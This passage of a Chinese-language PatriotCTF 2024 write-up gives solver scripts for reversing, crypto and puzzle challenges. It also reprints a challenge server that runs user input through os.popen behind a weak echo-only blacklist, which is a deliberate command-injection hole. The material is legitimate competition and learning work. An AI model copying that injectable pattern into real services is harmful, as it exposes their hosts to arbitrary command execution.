        subprocess.run([elf_path])
        result = open('flag.txt.enc', 'rb').read()
        if result[i] == ch:
            flag += bytes([byte])
            break
    print(flag)

AI rnd#

執行檔功能#

會把輸入雜湊後(?,輸出

解法#

也是一樣diffusion沒有做好,但相同字元可能會出現分歧,但我們可以猜測flag的字元
image


import subprocess
from tqdm import *


elf_path = "./ai_rnd" 



flag = ''

cur = 'a5 39 24 90 a8 a5 88 77 26 e4 3c 14 03 1e ba 3c 7d bb dc d6 aa 90 50 c9 0f aa dd 57 33 e1 a4 c7'.split()
for i in range(64):
    a = []
    for byte in range(0x20, 0x7f):
        process = subprocess.Popen(
            [elf_path], 
            stdin=subprocess.PIPE, 
            stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE, 
            text=True
        )

        
        stdout, stderr = process.communicate(input=flag + chr(byte))                    
        if stdout.split()[i] == cur[i]:
            print(flag)
            a.append(chr(byte))
    
    if len(a) > 1:
        print(a)
        i = input('what: ')
        flag += i
    else:
        flag += a[0]

password_protector#

import os
import secrets
from base64 import *

def promptGen():
    flipFlops = lambda x: chr(ord(x) + 1)
    with open('topsneaky.txt', 'rb') as f:
        first = f.read()
    bittys = secrets.token_bytes(len(first))
    onePointFive = int.from_bytes(first) ^ int.from_bytes(bittys)
    second = onePointFive.to_bytes(len(first))
    third = b64encode(second).decode('utf-8')
    bittysEnc = b64encode(bittys).decode('utf-8')
    fourth = ''
    for each in third:
        fourth += flipFlops(each)
    fifth = f"Mwahahaha you will n{fourth[0:10]}ever crack into my pass{fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}"
    return fifth

def main():
    print(promptGen())
if __name__ == '__main__':
    main()

可知題目上的亂碼可得出fifth、fourth,再依序解出third、second、first
exploit

bittysEnc = "Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
fourth = "Ocmu{9gtufMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp"
fifth = f"Mwahahaha you will n{fourth[0:10]}ever crack into my pass{fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}" 
third = ""
for i in fourth:
    third += chr(ord(i)-1)
third = "Nbltz8fsteLlPf7F/dBWVh2LX8PeY/MiBqWgyIDi4/etlssT/xlo"
from base64 import *
bitty = b64decode(bittysEnc)
second = b64decode(third)
onePointFive = int.from_bytes(second)
from Crypto.Util.number import long_to_bytes
first = long_to_bytes(onePointFive ^ int.from_bytes(bitty))

print(first)

puzzle_room#

  • Solver: wang 三百多行python,執行起來在是走一個迷宮
    image
    從以下關鍵程式碼,得知走過的每個單字連在一起是key,如果走正確的路徑就可以AES解密出flag
key = "".join([try_get_tile(x)[0] for x in path.path_history])
enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
obj = AESCipher(key)
dec_flag = obj.decrypt(enc_flag)
if "pctf" in dec_flag:

從code review得知走的路徑有很多限制、規則,整理之後發現路徑會是 vulture 開頭,經過47個單字到達Shrine,暴破這47個單字找到正確的路徑
exploit

import itertools
from Crypto.Cipher import AES
import base64
import hashlib

class AESCipher(object):
    def __init__(self, key):
        self.bs = AES.block_size
        self.key = hashlib.sha256(key.encode()).digest()

    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[: AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return AESCipher._unpad(cipher.decrypt(enc[AES.block_size :])).decode("utf-8")

    @staticmethod
    def _unpad(s):
        return s[: -ord(s[len(s) - 1 :])]

# Known part of the key and encrypted flag
prefix = "vulture"
suffix = "Shrine"
words = ["urn", "arch", "snake", "bug", "plant", "staff", "foot"]
enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="

# Brute force all possible combinations of 4 to 7 words in between
for length in range(4, 8):
    for combo in itertools.permutations(words, length):
        key = prefix + ''.join(combo) + suffix
        obj = AESCipher(key)
        try:
            dec_flag = obj.decrypt(enc_flag)
            if "pctf" in dec_flag:
                print("Key found:", key)
                print("Flag:", dec_flag)
                break
        except:
            continue

Forensics#

Bad Blood#

拿到一個windows log file,要做一系列問答,基本上就是問腳本類型/protocol跟C2網路,但從頭到尾只注意到這個REPO:https://github.com/IAMinZoho/OFFSEC-PowerShell/,關於腳本的問題就直接把上面的東西list出來爆破就有。
Protocol:猜到Winrm, C2架構一樣爆…
image
壯觀的爆破場面

Flag: pctf{3v3nt_l0gs_reve4l_al1_a981eb}

A Dire Situation#

會拿到一個budget.wim的檔案,用7z把他拆開會拿到一個budget跟一個budget的檔案
拿streamingjpegjfif上網查一下會發現一種叫做mjpeg的檔案類型,簡單來說就是類似影片,把jfif stream起來
利用VCL Media Player跑起來發現畫面很短,拚手速:

image

Flag: pctf{alternate_d4t4_str3aming_&_chill}

Misc#

Really Only Echo#

  • Solver: yuchan & whale 題目說限制只能用echo
    首先看看原始碼
#!/usr/bin/python3

import os,pwd,re
import socketserver, signal
import subprocess

listen = 3333

blacklist = os.popen("ls /bin").read().split("\n")
blacklist.remove("echo")
#print(blacklist)

def filter_check(command):
    user_input = command
    parsed = command.split()
    #Must begin with echo
    if not "echo" in parsed:
        return False
    else:
        if ">" in parsed:
            #print("HEY! No moving things around.")
            req.sendall(b"HEY! No moving things around.\n\n")
            return False
        else:
            parsed = command.replace("$", " ").replace("(", " ").replace(")", " ").replace("|"," ").replace("&", " ").replace(";"," ").replace("<"," ").replace(">"," ").replace("`"," ").split()
            #print(parsed)
            for i in range(len(parsed)):
                if parsed[i] in blacklist:
                    return False
            return True

def backend(req):
    req.sendall(b'This is shell made to use only the echo command.\n')
    while True:
        #print("\nThis is shell made to use only the echo command.")
        req.sendall(b'Please input command: ')
        user_input = req.recv(4096).strip(b'\n').decode()
        print(user_input)
        #Check input
        if user_input:
            if filter_check(user_input):
                output = os.popen(user_input).read()
                req.sendall((output + '\n').encode())
            else:
                #print("Those commands don't work.")
                req.sendall(b"HEY! I said only echo works.\n\n")
        else:
            #print("Why no command?")
            req.sendall(b"Where\'s the command.\n\n")

class incoming(socketserver.BaseRequestHandler):
    def handle(self):
        signal.alarm(1500)
        req = self.request
        backend(req)


class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


def main():
    uid = pwd.getpwnam('ctf')[2]
    os.setuid(uid)
    socketserver.TCPServer.allow_reuse_address = True
    server = ReusableTCPServer(("0.0.0.0", listen), incoming)
    server.serve_forever()

if __name__ == '__main__':
    main()

算了,直接餵給AI
image
然後注意到code其中一行這樣寫

parsed = command.replace("$", " ").replace("(", " ").replace(")", " ").replace("|"," ").replace("&", " ").replace(";"," ").replace("<"," ").replace(">"," ").replace("`"," ").split()

看來是會轉義的符號,一樣餵給AI看看有什麼結論
image
嘗試一下他的建議
image
有flag.txt但是不知道怎麼看內容,於是去DC找人協助
image

FLAG: pctf{echo_is_such_a_versatile_command}

RTL_Warmup#

  • Solver: wang 給一個檔案 flag.vcd
$timescale 1 ps $end
$scope module uut $end
$var wire 1 ! clock $end
$var wire 8 " dout $end
$var wire 8 # din $end
$upscope $end
$enddefinitions $end
$dumpvars
0!
b01010000 "
b01010000 #
$end
#50000000
1!
#50000000
#100000000
0!
#100000000
b01000011 "
b01000011 #
#150000000
1!
#150000000
#200000000
0!
#200000000
(中略)
b01111101 "
b01111101 #
#2750000000
1!
#2750000000
#2800000000
0!
#2800000000

我看不懂RTL code,但根據chatGPT可知其中包含模擬的輸出數值,那些二進制數值對應於信號” dout和# din的變化
用chatGPT將那些二進制轉 ASCII 就是flag

b01010000 "
b01010000 # 
=> ASCII P

以此類推

EmojiStack#

  • Solver: wang 題目大致如下:
    👉: Move the stack pointer one cell to the right
    👈: Move the stack pointer one cell to the lef
    👍: Increment the current cell by one, bounded by 255
    👎: Decrement the current cell by one, bounded by 0
    💬: Print the ASCII value of the current cell
    🔁##: Repeat the previous instruction 0x## times
    The Emoji Stack is 256 cells long, with each cell supporting a value between 0 - 255.
    給輸出flag的emoji
👉👉👉👉👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁08👍🔁34👈👈👈👈👈👈👈👈👈👈👍🔁48👉🔁15👍🔁5e👈🔁07👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁02👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👍🔁42👉🔁02👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁17👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈🔁14👍🔁20👉🔁06👍🔁51👉🔁0c👍🔁34👉👉👍🔁46👈🔁14👍🔁4d👈🔁01👍🔁51👉🔁04👍🔁20👉🔁03👍🔁2f👉👉👉👉👉👉👉👉👍🔁4d👈🔁17👍🔁42👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👍🔁7c👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁0c👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈👈👈👈👈👈👈👈👈👈👈👈👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁0c👍🔁32👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉🔁04👍🔁5e👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👍🔁47👈🔁0f👍🔁46👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👉👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈🔁03👍🔁20👈🔁08👍🔁5e👉🔁10👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👈🔁1d👍🔁40👉🔁10👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👍👉👉👉👉👍🔁5e👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈👈💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬👉💬

總之,問就是工人智慧
就不說我還看錯,🔁##是先執行一次前面指令,再重複0x##次,我都只重複0x##次害我多工人智慧兩次

making-baking-pancakes#

  • Solver: wang 忘記截圖連線畫面
    連remote解決challenge一千次,每次challenge接收一串被base64 encode n+1次的字串,decode一次後字串末尾會有數字n表示要再decode n 次。
    exploit
from pwn import *
import base64


r = remote('chal.pctf.competitivecyber.club', 9001)


def decode_challenge(challenge, iterations):
    decoded = challenge
    for _ in range(iterations):
        decoded = base64.b64decode(decoded).decode()
    return decoded

r.recvlines(10)


for i in range(1, 1001):
    
    challenge = r.recvline().strip().decode().split(': ')[1]
    challenge = base64.b64decode(challenge).decode()
    n = int(challenge.split('|')[1])

    
    decoded = decode_challenge(challenge, n)
    
    
    response = ""
    response += decoded
    response += '|'
    response += str(i)
    
    
    r.sendline(response.encode())
    print(response)
    r.interactive()
    
r.close()
PatriotCTF 2024 Writeup by ICEDTEA
https://ic3dt3a.org/posts/2024pctf/
作者
ICEDTEA
發佈於
2024-10-21
授權協議
CC BY-NC-SA 4.0